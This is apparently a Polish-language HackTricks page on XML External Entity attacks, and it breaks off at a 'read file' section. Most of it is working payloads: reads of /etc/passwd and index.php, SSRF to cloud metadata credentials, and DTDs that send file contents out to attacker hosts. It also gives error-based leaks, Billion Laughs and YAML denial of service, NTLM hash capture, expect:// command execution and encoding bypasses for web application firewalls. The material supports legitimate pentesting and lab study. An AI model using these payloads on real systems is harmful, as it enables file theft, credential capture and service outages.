XXE - XEE - XML External Entity

Reading time: 26 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawy XML

XML to język znaczników zaprojektowany do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych znaczników. Różni się od HTML tym, że nie jest ograniczony do zestawu zdefiniowanych znaczników. Znaczenie XML spadło wraz z rosnącą popularnością JSON, mimo jego początkowej roli w technologii AJAX.

  • Reprezentacja danych za pomocą encji: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych, takich jak &lt; i &gt;, które odpowiadają < i > w celu uniknięcia konfliktu z systemem znaczników XML.
  • Definiowanie elementów XML: XML pozwala na definiowanie typów elementów, określając, jak elementy powinny być zbudowane i jakie treści mogą zawierać, od dowolnego typu treści po konkretne elementy podrzędne.
  • Definicja typu dokumentu (DTD): DTD są kluczowe w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane.
  • Własne i zewnętrzne encje: XML wspiera tworzenie własnych encji w ramach DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
  • Wykrywanie XXE za pomocą encji parametru: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametru XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub żądań HTTP do kontrolowanej domeny, aby potwierdzić podatność.
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Główne ataki

Większość tych ataków była testowana przy użyciu niesamowitych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe

Test nowej encji

W tym ataku zamierzam przetestować, czy prosta deklaracja nowej ENCI działa.

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Odczyt pliku

Spróbujmy odczytać /etc/passwd na różne sposoby. W przypadku Windows możesz spróbować odczytać: C:\windows\system32\drivers\etc\hosts

W tym pierwszym przypadku zauważ, że SYSTEM "**file:///**etc/passwd" również zadziała.

xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serwer WWW używa PHP (Nie dotyczy to laboratoriów Portswigger).

xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

W tym trzecim przypadku zauważamy, że deklarujemy Element stockCheck jako ANY.

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Lista katalogów

W aplikacjach opartych na Java może być możliwe wypisanie zawartości katalogu za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku):

xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

XXE może być użyte do nadużycia SSRF w chmurze

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Używając wcześniej skomentowanej techniki, możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać, że jest podatny. Ale jeśli to nie działa, może to być spowodowane tym, że jednostki XML nie są dozwolone, w takim przypadku możesz spróbować użyć jednostek parametrów XML:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Blind" SSRF - Exfiltracja danych poza pasmem

W tej okazji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą _ftp://_ używając na przykład tego podstawowego serwera xxe-ftp-server.rb). To wyjaśnienie opiera się na Portswiggers lab here.

W podanym złośliwym DTD przeprowadzane są szereg kroków w celu exfiltracji danych:

Przykład złośliwego DTD:

Struktura jest następująca:

xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Kroki wykonywane przez ten DTD obejmują:

  1. Definicja jednostek parametrów:
  • Jednostka parametru XML, %file, jest tworzona, odczytując zawartość pliku /etc/hostname.
  • Inna jednostka parametru XML, %eval, jest definiowana. Dynamicznie deklaruje nową jednostkę parametru XML, %exfiltrate. Jednostka %exfiltrate jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość jednostki %file w ciągu zapytania URL.
  1. Wykonanie jednostek:
  • Jednostka %eval jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji jednostki %exfiltrate.
  • Jednostka %exfiltrate jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku.

Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak http://web-attacker.com/malicious.dtd.

XXE Payload: Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ten ładunek definiuje zewnętrzny byt parametru XML %xxe i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD, co prowadzi do eksfiltracji pliku /etc/hostname na serwer atakującego.

Błąd oparty (Zewnętrzny DTD)

W tym przypadku sprawimy, że serwer załaduje złośliwy DTD, który pokaże zawartość pliku w komunikacie o błędzie (to jest ważne tylko, jeśli możesz zobaczyć komunikaty o błędach). Przykład stąd.

Komunikat o błędzie parsowania XML, ujawniający zawartość pliku /etc/passwd, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki:

  1. Definiuje się byt parametru XML o nazwie file, który zawiera zawartość pliku /etc/passwd.
  2. Definiuje się byt parametru XML o nazwie eval, włączający dynamiczną deklarację dla innego bytu parametru XML o nazwie error. Ten byt error, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu file jako swoją nazwę.
  3. Wywoływany jest byt eval, co prowadzi do dynamicznej deklaracji bytu error.
  4. Wywołanie bytu error skutkuje próbą załadowania nieistniejącego pliku, co produkuje komunikat o błędzie, który zawiera zawartość pliku /etc/passwd jako część nazwy pliku.

Złośliwy zewnętrzny DTD można wywołać za pomocą następującego XML:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Po wykonaniu, odpowiedź serwera WWW powinna zawierać komunikat o błędzie wyświetlający zawartość pliku /etc/passwd.

Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej encji wewnątrz drugiej (**eval**), ale jest to zabronione w wewnętrznym DTD. Dlatego nie możesz wymusić błędu bez użycia zewnętrznego DTD (zwykle).

Błąd oparty (system DTD)

Co zatem z niewidocznymi lukami XXE, gdy interakcje poza pasmem są zablokowane (połączenia zewnętrzne nie są dostępne)?

Luka w specyfikacji języka XML może ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy w celu ujawnienia wrażliwych informacji.

Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w /usr/local/app/schema.dtd, definiujący encję o nazwie custom_entity. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku /etc/passwd, przesyłając hybrydowy DTD w następujący sposób:

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>

Wyszczególnione kroki są realizowane przez ten DTD:

  • Definicja encji parametru XML o nazwie local_dtd zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera.
  • Następuje redefinicja encji parametru XML custom_entity, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć eksploit XXE oparty na błędach. Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku /etc/passwd.
  • Poprzez zastosowanie encji local_dtd, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję custom_entity. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu.

Przykład z życia wzięty: Systemy korzystające z środowiska graficznego GNOME często mają DTD w /usr/share/yelp/dtd/docbookx.dtd, zawierający encję o nazwie ISOamso.

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Ponieważ ta technika wykorzystuje wewnętrzny DTD, musisz najpierw znaleźć ważny. Możesz to zrobić instalując ten sam system operacyjny / oprogramowanie, którego używa serwer, i szukając domyślnych DTD, lub zbierając listę domyślnych DTD w systemach i sprawdzając, czy którykolwiek z nich istnieje:

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Aby uzyskać więcej informacji, sprawdź https://portswigger.net/web-security/xxe/blind

Znajdowanie DTD w systemie

W następującym wspaniałym repozytorium github możesz znaleźć ścieżki DTD, które mogą być obecne w systemie:

{{#ref}} https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}}

Ponadto, jeśli masz obraz Dockera systemu ofiary, możesz użyć narzędzia z tego samego repozytorium, aby zeskanować obraz i znaleźć ścieżkę DTD obecnych w systemie. Przeczytaj Readme repozytorium github, aby dowiedzieć się jak.

bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE za pomocą parserów Office Open XML

Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, sprawdź drugą sekcję tego niesamowitego posta od Detectify.

Możliwość przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, będzie musiał zinterpretować przynajmniej jeden plik XML.

Aby przetestować tę podatność, konieczne jest stworzenie pliku Microsoft Office zawierającego ładunek XXE. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany.

Po rozpakowaniu dokumentu, plik XML znajdujący się w ./unzipped/word/document.xml powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (takim jak vim). XML powinien zostać zmodyfikowany, aby zawierał pożądany ładunek XXE, często zaczynający się od żądania HTTP.

Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowanym URL-em dla żądań.

Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:

Teraz utworzony plik może zostać przesłany do potencjalnie podatnej aplikacji internetowej, a można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.

Jar: protokół

Protokół jar jest dostępny wyłącznie w aplikacjach Java. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum PKZIP (np. .zip, .jar itp.), obsługując zarówno pliki lokalne, jak i zdalne.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

caution

Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to super przydatne do nadużywania XXE za pomocą systemowych plików DTD. Sprawdź ten rozdział, aby dowiedzieć się, jak nadużywać systemowych plików DTD.

Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:

  1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonej lokalizacji, takiej jak https://download.website.com/archive.zip.
  2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana w systemie, zazwyczaj w lokalizacji takiej jak /tmp/....
  3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.
  4. Odczytywany jest konkretny plik w archiwum, file.zip.
  5. Po operacji wszelkie tymczasowe pliki utworzone w tym procesie są usuwane.

Interesującą techniką przerwania tego procesu na drugim kroku jest utrzymanie połączenia z serwerem otwartego w nieskończoność podczas serwowania pliku archiwum. Narzędzia dostępne w tym repozytorium mogą być wykorzystane do tego celu, w tym serwer Python (slow_http_server.py) i serwer Java (slowserver.jar).

xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

ostrzeżenie

Pisanie plików w tymczasowym katalogu może pomóc w eskalacji innej podatności, która dotyczy przechodzenia ścieżki (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).

XSS

xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Atak Miliona Śmiechów

xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Atak Yaml

xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Atak kwadratowego wzrostu

Uzyskiwanie NTML

Na hostach Windows możliwe jest uzyskanie hasha NTML użytkownika serwera WWW, ustawiając handler responder.py:

bash
Responder.py -I eth0 -v

i wysyłając następujące żądanie

xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Then you can try to crack the hash using hashcat

Hidden XXE Surfaces

XInclude

Kiedy integrujesz dane klienta w dokumentach XML po stronie serwera, takich jak te w zapytaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu DOCTYPE. Jednak atak XInclude oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.

Aby przeprowadzić atak XInclude, należy zadeklarować przestrzeń nazw XInclude i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:

xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

SVG - Przesyłanie plików

Pliki przesyłane przez użytkowników do określonych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.

Gdy użytkownicy przesyłają obrazy, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając tym samym serwer na luki XXE (XML External Entity).

Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe:

xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Inna metoda polega na próbie wykonania poleceń za pomocą wrappera PHP "expect":

xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa.

Sprawdź https://portswigger.net/web-security/xxe po więcej informacji!

Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.

PDF - Przesyłanie plików

Przeczytaj następujący post, aby dowiedzieć się, jak wykorzystać XXE przesyłając plik PDF:

{{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md {{#endref}}

Content-Type: Z x-www-urlencoded do XML

Jeśli żądanie POST akceptuje dane w formacie XML, możesz spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera następujące:

xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem:

xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Z JSON do XEE

Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie “Content Type Converter“. Here you can find this example:

xml
Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
xml
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Inny przykład można znaleźć tutaj.

WAF & Obejścia Ochrony

Base64

xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

To działa tylko wtedy, gdy serwer XML akceptuje protokół data://.

UTF-7

Możesz użyć ["Encode Recipe" z cyberchef tutaj ]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do) do transformacji na UTF-7.

xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

File:/ Protocol Bypass

Jeśli strona używa PHP, zamiast używać file:/ możesz użyć php wrappersphp://filter/convert.base64-encode/resource= aby uzyskać dostęp do plików wewnętrznych.

Jeśli strona używa Javy, możesz sprawdzić jar: protocol.

HTML Entities

Sztuczka z https://github.com/Ambrotd/XXE-Notes
Możesz stworzyć encję wewnątrz encji kodując ją za pomocą html entities i następnie wywołać ją, aby załadować dtd.
Zauważ, że używane HTML Entities muszą być numeryczne (jak [w tym przykładzie](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Przykład DTD:

xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Wyodrębnij index.php

xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Ekstrakcja zewnętrznego zasobu

xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Wykonanie zdalnego kodu

Jeśli moduł PHP "expect" jest załadowany

xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Ten przykład jest inspirowany w https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).

Analiza Żądania Blind

Wysłano żądanie do serwera z następującą treścią:

xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, konkretnie wspominając o problemie z deklaracjami znaczników:

json
{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}

Pomimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką.

Out of Band Data Exfiltration Aby wyekstrahować dane, wysyłane jest zmodyfikowane żądanie:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

To podejście ujawnia, że User Agent wskazuje na użycie Java 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, przy użyciu techniki Out of Band.

Error-Based Data Exfiltration Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest skonstruowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:

xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Serwer odpowiada błędem, co ważne, odzwierciedlając nieistniejący plik, co wskazuje, że serwer próbuje uzyskać dostęp do określonego pliku:

javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dostosowywany:

xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Ta modyfikacja prowadzi do udanej eksfiltracji zawartości pliku, co jest odzwierciedlone w komunikacie o błędzie wysłanym przez HTTP. Wskazuje to na udany atak XXE (XML External Entity), wykorzystujący zarówno techniki Out of Band, jak i Error-Based do wydobycia wrażliwych informacji.

RSS - XEE

Poprawny XML w formacie RSS do wykorzystania luki XXE.

Ping back

Prośba HTTP do serwera atakującego

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Odczytaj plik

xml
<?xml version="1.0" encoding="UTF-8"?>
